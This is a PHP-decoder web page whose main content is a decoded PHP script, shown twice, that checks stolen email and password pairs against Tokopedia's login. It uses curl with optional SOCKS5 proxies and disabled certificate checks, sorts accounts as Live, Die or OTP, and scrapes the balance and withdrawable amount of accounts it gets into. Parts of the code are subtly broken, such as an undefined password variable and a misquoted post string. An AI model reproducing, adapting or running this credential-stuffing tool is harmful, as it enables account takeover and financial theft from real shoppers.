Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //error_reporting(0); set_time_limit(0); $user_agent = array( 'Mozilla/5.0 (..

Decoded Output download

<?php 
//error_reporting(0); 
set_time_limit(0); 
 
	$user_agent		= array( 
'Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5, 
Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11, 
Opera/9.25 (Windows NT 5.1; U; en), 
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727), 
Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu), 
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12, 
Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:50, 
Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+2011-10-16 20:21:10, 
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0, 
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6' 
); 
 
$dir = dirname(__FILE__); 
        $config['cookie_file'] = $dir . '/_cook/'. md5(rand(100000,999999)) .rand(100000,999999).'.txt'; 
        if(!file_exists($config['cookie_file'])){ 
        $fp = @fopen($config['cookie_file'],'w'); 
        @fclose($fp); 
        } 
 
function curl($url, $socks="", $post="", $referer="") {	 
    global $config; 
    global $user_agent; 
    $ch = curl_init();  
    curl_setopt($ch, CURLOPT_URL, $url); 
    if ($post) { 
    curl_setopt($ch, CURLOPT_POST, true);  
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
    } 
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); 
    curl_setopt($ch, CURLOPT_HEADER, 0);  
    if ($referer) { 
    curl_setopt($ch, CURLOPT_REFERER, $referer); 
    } 
    if ($socks) { 
    curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1); 
    curl_setopt($ch, CURLOPT_PROXY, $socks); 
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); 
    } 
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,7); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);  
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
    curl_setopt($ch, CURLOPT_COOKIEFILE,$config['cookie_file']);  
    curl_setopt($ch, CURLOPT_COOKIEJAR,$config['cookie_file']);  
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3); 
     
    $result = curl_exec($ch); 
    curl_close($ch); 
    return $result; 
} 
 
function getStr($string,$start,$end){ 
    $str = explode($start,$string,2); 
    $str = explode($end,$str[1],2); 
    return $str[0]; 
} 
 
 
function ccv($email,$pwd){ 
    list($email, $pwd) = explode('|', $_REQUEST['mailpass']); 
    $url = 'https://accounts.tokopedia.com/authorize?client_id=1001&p=https%3A%2F%2Fwww.tokopedia.com%2F&redirect_uri=https%3A%2F%2Fwww.tokopedia.com%2Fappauth%2Fcode&response_type=code&state=eyJyZWYiOiJodHRwczovL3d3dy50b2tvcGVkaWEuY29tLyIsInV1aWQiOiJkN2ExMDYxMC1hYzc3LTQwZjYtOTZjZi01ODRlNmQ2NzliNTUiLCJ0aGVtZSI6ImlmcmFtZSIsInAiOiJodHRwczovL3d3dy50b2tvcGVkaWEuY29tLyJ9&theme=iframe'; 
	$create = curl($url, "", $config['cookie_file']); 
	$aksi = getStr($create,'method="post" action="','">'); 
			$url = $aksi; 
            $post_value = '"theme=iframe&email=".$email."&password=".$pass."&remember_me=off&f=eyJ1c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjo1NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzU1LjAiLCJsYW5ndWFnZSI6ImVuLVVTIiwiY29sb3JfZGVwdGgiOjI0LCJwaXhlbF9yYXRpbyI6MSwiaGFyZHdhcmVfY29uY3VycmVuY3kiOjQsInNlc3Npb25fc3RvcmFnZSI6MSwibG9jYWxfc3RvcmFnZSI6MSwiaW5kZXhlZF9kYiI6MSwiY3B1X2NsYXNzIjoidW5rbm93biIsImRvX25vdF90cmFjayI6InVuc3BlY2lmaWVkIiwicmVndWxhcl9wbHVnaW5zIjpbIlNob2Nrd2F2ZSBGbGFzaDo6U2hvY2t3YXZlIEZsYXNoIDI3LjAgcjA6OmFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNofnN3ZixhcHBsaWNhdGlvbi9mdXR1cmVzcGxhc2h%2Bc3BsIl0sImNhbnZhcyI6Ik5qRmlZbVF6TlRka00yVmhabU0zWldKak16Y3dZV1ZpTTJOaVpUSmlNak5tWlRrd05XWXlPUT09Iiwid2ViZ2wiOiJZelkzTVRaak5qUm1ZV016TldOa09UTTNNbVV5WkdGa1pXWTVNVEV4WXpZMlpXTm1OekJrT0E9PSIsImFkYmxvY2siOmZhbHNlLCJoYXNfbGllZF9sYW5ndWFnZXMiOmZhbHNlLCJoYXNfbGllZF9yZXNvbHV0aW9uIjpmYWxzZSwiaGFzX2xpZWRfb3MiOmZhbHNlLCJoYXNfbGllZF9icm93c2VyIjpmYWxzZSwidG91Y2hfcG9pbnRfY291bnQiOjAsInRvdWNoX2V2ZW50X2luZCI6ZmFsc2UsInRvdWNoX3Byb3BlcnR5X2luZCI6ZmFsc2UsImpzX2ZvbnRzIjpbIkFyaWFsIiwiQXJpYWwgQ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yaXB0IjpbIkxhdGluIiwiQ2hpbmVzZSIsIkFyYWJpYyIsIkRldmFuYWdhcmkiLCJDeXJpbGxpYyIsIkJlbmdhbGkvQXNzYW1lc2UiLCJLYW5hIiwiR3VybXVraGkiLCJIYW5ndWwiLCJUZWx1Z3UiLCJUYW1pbCIsIk1hbGF5YWxhbSIsIlRoYWkiLCJLYW5uYWRhIiwiR3VqYXJhdGkiLCJMYW8iLCJPZGlhIiwiR2UtZXoiLCJTaW5oYWxhIiwiQXJtZW5pYW4iLCJLaG1lciIsIkdyZWVrIiwiSGVicmV3IiwiVGliZXRhbiIsIkdlb3JnaWFuIiwiTW9kZXJuIFlpIiwiTW9uZ29saWFuIiwiVGlmaW5hZ2giLCJTeXJpYWMiLCJUaGFhbmEiLCJJbnVrdGl0dXQiLCJDaGVyb2tlZSJdLCJ6b29tX2xldmVsX3BlcmNlbnQiOiIxMDAlIiwic2NyZWVuX29yaWVudGF0aW9uIjoicG90cmFpdCIsImNvb2tpZXNfaW5kIjp0cnVlLCJzY3JlZW5fcmVzb2x1dGlvbiI6IjEzNjYsNzY4IiwiYXZhaWxhYmxlX3NjcmVlbl9yZXNvbHV0aW9uIjoiMTM2Niw3MjgiLCJ0aW1lem9uZSI6IkdNVCArNyIsImRldmljZV9zeXN0ZW0iOiJXaW4zMiJ9&log-data=%7B%22tests%22%3A%7B%22scroll%22%3Afalse%2C%22mouse%22%3Atrue%2C%22key%22%3Atrue%7D%2C%22s%22%3Afalse%2C%22m%22%3Atrue%2C%22k%22%3Atrue%2C%22gc%22%3Afalse%2C%22dt%22%3A1536874525231%2C%22sent%22%3Afalse%7D");'; 
            $create = curl($url, "", $post_value, $config['cookie_file']); 
					if (stristr($create, "Saldo")) { 
					$url = 'https://www.tokopedia.com/deposit.pl'; 
					$create = curl($url, $config['cookie_file']); 
					$saldo = getStr($create,"<strong id='bruto-deposit'>","</strong>"); 
					$withdraw = getStr($create,"<span id='deposit-all-1'>","</span>"); 
					$info = "<font style=\"color:green;\">Saldo: $saldo | Withdraw Amount: $withdraw</font>"; 
				} 
					elseif(stristr($create, "Pilih Metode Verifikasi")){ 
					$info = "OTP"; 
				} 
					elseif(stristr($create, "Email / Password yang anda masukkan salah.")){ 
					$info = "Die"; 
				}	 
					else { 
					$info = "Unknown"; 
				}  
    return $info; 
} 
function xflush() 
{ 
    static $output_handler = null; 
    if ($output_handler === null) 
    { 
        $output_handler = @ini_get('output_handler'); 
    } 
 
    if ($output_handler == 'ob_gzhandler') 
    { 
        // forcing a flush with this is very bad 
        return; 
    } 
 
    flush(); 
    if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) 
    { 
        @ob_flush(); 
    } 
    else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) 
    { 
        @ob_end_flush(); 
        @ob_start(); 
    } 
} 
function delete_cookies() 
{ 
    global $config; 
    $f = fopen($config['cookie_file'], 'w'); 
    fwrite($f, ''); 
    fclose($f); 
} 
function getCookies($str){ 
    preg_match_all('/Set-Cookie: ([^; ]+)(;| )/si', $str, $matches); 
    $cookies = implode(";", $matches[1]); 
    return $cookies; 
} 
 
if ($_REQUEST['do'] == 'check') 
{    
 
    delete_cookies(); 
    $result = array(); 
    $delim = $_REQUEST['delim']; 
	list($email, $pwd) = explode($delim, $_REQUEST['mailpass']); 
    if ((!$email)or(!$pwd)) 
    { 
        $result['error'] = 2; 
        $result['msg'] = urldecode($_REQUEST['mailpass']); 
        echo json_encode($result); 
        exit; 
    } 
 
	 
		$info['akun'] = ccv($email,$pwd); 
		if($info['akun'] == "Die"){ 
			$result['error'] = 2; 
            $result['msg'] = '<font color="red"> DIE | ' .$email . ' | ' . $pwd.' </font><br>'; 
            delete_cookies(); 
            echo json_encode($result); 
            exit; 
		} 
			elseif($info['akun'] == "Unknown"){ 
		$result['error'] = 1; 
        $result['msg'] = '<font color="purple"> UNKNOWN | ' .$email . ' | ' . $pwd.'</font><br>'; 
        delete_cookies(); 
        echo json_encode($result); 
        exit; 
		} 
			elseif($info['akun'] == "OTP"){ 
		$result['error'] = 1; 
        $result['msg'] = '<font color="purple"> OTP | ' .$email . ' | ' . $pwd.'</font><br>'; 
        delete_cookies(); 
        echo json_encode($result); 
        exit; 
		} 
			else{ 
			$result['error'] = 0; 
		    $now = "<i style=\"color:gold\">Checked on ".$_SERVER['HTTP_HOST']." at ".date("g:i a - F j, Y")."</i>"; 
            $result['msg'] = '<span class="rainbow"><font size="2"><b><font color="gold">Live</font></b> | <font class="char"><font color="black">' . $email . ' | ' . $pwd . ' </font> | ' . implode(' | ', $info) .' '.$now; 
            delete_cookies(); 
            echo json_encode($result); 
            exit; 
    } 
}		 
?>

Did this file decode correctly?

Original Code

<?php
//error_reporting(0);
set_time_limit(0);

	$user_agent		= array(
'Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5,
Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11,
Opera/9.25 (Windows NT 5.1; U; en),
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727),
Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu),
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12,
Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:50,
Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+2011-10-16 20:21:10,
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0,
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6'
);

$dir = dirname(__FILE__);
        $config['cookie_file'] = $dir . '/_cook/'. md5(rand(100000,999999)) .rand(100000,999999).'.txt';
        if(!file_exists($config['cookie_file'])){
        $fp = @fopen($config['cookie_file'],'w');
        @fclose($fp);
        }

function curl($url, $socks="", $post="", $referer="") {	
    global $config;
    global $user_agent;
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url);
    if ($post) {
    curl_setopt($ch, CURLOPT_POST, true); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    if ($referer) {
    curl_setopt($ch, CURLOPT_REFERER, $referer);
    }
    if ($socks) {
    curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
    curl_setopt($ch, CURLOPT_PROXY, $socks);
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,7);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_COOKIEFILE,$config['cookie_file']); 
    curl_setopt($ch, CURLOPT_COOKIEJAR,$config['cookie_file']); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 3);
    
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

function getStr($string,$start,$end){
    $str = explode($start,$string,2);
    $str = explode($end,$str[1],2);
    return $str[0];
}


function ccv($email,$pwd){
    list($email, $pwd) = explode('|', $_REQUEST['mailpass']);
    $url = 'https://accounts.tokopedia.com/authorize?client_id=1001&p=https%3A%2F%2Fwww.tokopedia.com%2F&redirect_uri=https%3A%2F%2Fwww.tokopedia.com%2Fappauth%2Fcode&response_type=code&state=eyJyZWYiOiJodHRwczovL3d3dy50b2tvcGVkaWEuY29tLyIsInV1aWQiOiJkN2ExMDYxMC1hYzc3LTQwZjYtOTZjZi01ODRlNmQ2NzliNTUiLCJ0aGVtZSI6ImlmcmFtZSIsInAiOiJodHRwczovL3d3dy50b2tvcGVkaWEuY29tLyJ9&theme=iframe';
	$create = curl($url, "", $config['cookie_file']);
	$aksi = getStr($create,'method="post" action="','">');
			$url = $aksi;
            $post_value = '"theme=iframe&email=".$email."&password=".$pass."&remember_me=off&f=eyJ1c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjo1NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzU1LjAiLCJsYW5ndWFnZSI6ImVuLVVTIiwiY29sb3JfZGVwdGgiOjI0LCJwaXhlbF9yYXRpbyI6MSwiaGFyZHdhcmVfY29uY3VycmVuY3kiOjQsInNlc3Npb25fc3RvcmFnZSI6MSwibG9jYWxfc3RvcmFnZSI6MSwiaW5kZXhlZF9kYiI6MSwiY3B1X2NsYXNzIjoidW5rbm93biIsImRvX25vdF90cmFjayI6InVuc3BlY2lmaWVkIiwicmVndWxhcl9wbHVnaW5zIjpbIlNob2Nrd2F2ZSBGbGFzaDo6U2hvY2t3YXZlIEZsYXNoIDI3LjAgcjA6OmFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNofnN3ZixhcHBsaWNhdGlvbi9mdXR1cmVzcGxhc2h%2Bc3BsIl0sImNhbnZhcyI6Ik5qRmlZbVF6TlRka00yVmhabU0zWldKak16Y3dZV1ZpTTJOaVpUSmlNak5tWlRrd05XWXlPUT09Iiwid2ViZ2wiOiJZelkzTVRaak5qUm1ZV016TldOa09UTTNNbVV5WkdGa1pXWTVNVEV4WXpZMlpXTm1OekJrT0E9PSIsImFkYmxvY2siOmZhbHNlLCJoYXNfbGllZF9sYW5ndWFnZXMiOmZhbHNlLCJoYXNfbGllZF9yZXNvbHV0aW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%22%3Afalse%7D");';
            $create = curl($url, "", $post_value, $config['cookie_file']);
					if (stristr($create, "Saldo")) {
					$url = 'https://www.tokopedia.com/deposit.pl';
					$create = curl($url, $config['cookie_file']);
					$saldo = getStr($create,"<strong id='bruto-deposit'>","</strong>");
					$withdraw = getStr($create,"<span id='deposit-all-1'>","</span>");
					$info = "<font style=\"color:green;\">Saldo: $saldo | Withdraw Amount: $withdraw</font>";
				}
					elseif(stristr($create, "Pilih Metode Verifikasi")){
					$info = "OTP";
				}
					elseif(stristr($create, "Email / Password yang anda masukkan salah.")){
					$info = "Die";
				}	
					else {
					$info = "Unknown";
				} 
    return $info;
}
function xflush()
{
    static $output_handler = null;
    if ($output_handler === null)
    {
        $output_handler = @ini_get('output_handler');
    }

    if ($output_handler == 'ob_gzhandler')
    {
        // forcing a flush with this is very bad
        return;
    }

    flush();
    if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false)
    {
        @ob_flush();
    }
    else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE)
    {
        @ob_end_flush();
        @ob_start();
    }
}
function delete_cookies()
{
    global $config;
    $f = fopen($config['cookie_file'], 'w');
    fwrite($f, '');
    fclose($f);
}
function getCookies($str){
    preg_match_all('/Set-Cookie: ([^; ]+)(;| )/si', $str, $matches);
    $cookies = implode(";", $matches[1]);
    return $cookies;
}

if ($_REQUEST['do'] == 'check')
{   

    delete_cookies();
    $result = array();
    $delim = $_REQUEST['delim'];
	list($email, $pwd) = explode($delim, $_REQUEST['mailpass']);
    if ((!$email)or(!$pwd))
    {
        $result['error'] = 2;
        $result['msg'] = urldecode($_REQUEST['mailpass']);
        echo json_encode($result);
        exit;
    }

	
		$info['akun'] = ccv($email,$pwd);
		if($info['akun'] == "Die"){
			$result['error'] = 2;
            $result['msg'] = '<font color="red"> DIE | ' .$email . ' | ' . $pwd.' </font><br>';
            delete_cookies();
            echo json_encode($result);
            exit;
		}
			elseif($info['akun'] == "Unknown"){
		$result['error'] = 1;
        $result['msg'] = '<font color="purple"> UNKNOWN | ' .$email . ' | ' . $pwd.'</font><br>';
        delete_cookies();
        echo json_encode($result);
        exit;
		}
			elseif($info['akun'] == "OTP"){
		$result['error'] = 1;
        $result['msg'] = '<font color="purple"> OTP | ' .$email . ' | ' . $pwd.'</font><br>';
        delete_cookies();
        echo json_encode($result);
        exit;
		}
			else{
			$result['error'] = 0;
		    $now = "<i style=\"color:gold\">Checked on ".$_SERVER['HTTP_HOST']." at ".date("g:i a - F j, Y")."</i>";
            $result['msg'] = '<span class="rainbow"><font size="2"><b><font color="gold">Live</font></b> | <font class="char"><font color="black">' . $email . ' | ' . $pwd . ' </font> | ' . implode(' | ', $info) .' '.$now;
            delete_cookies();
            echo json_encode($result);
            exit;
    }
}		
?>

Function Calls

rand 1
dirname 1
set_time_limit 1

Variables

$dir /
$user_agent [{'key': 0, 'value': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5, \nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11, \nOpera/9.25 (Windows NT 5.1; U; en), \nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727), \nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu), \nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12, \nMozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:50, \nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+2011-10-16 20:21:10, \nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0, \nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6'}]

Stats

MD5 ceade6ade9e3cd2f5582fd36943ac5a1
Eval Count 0
Decode Time 159 ms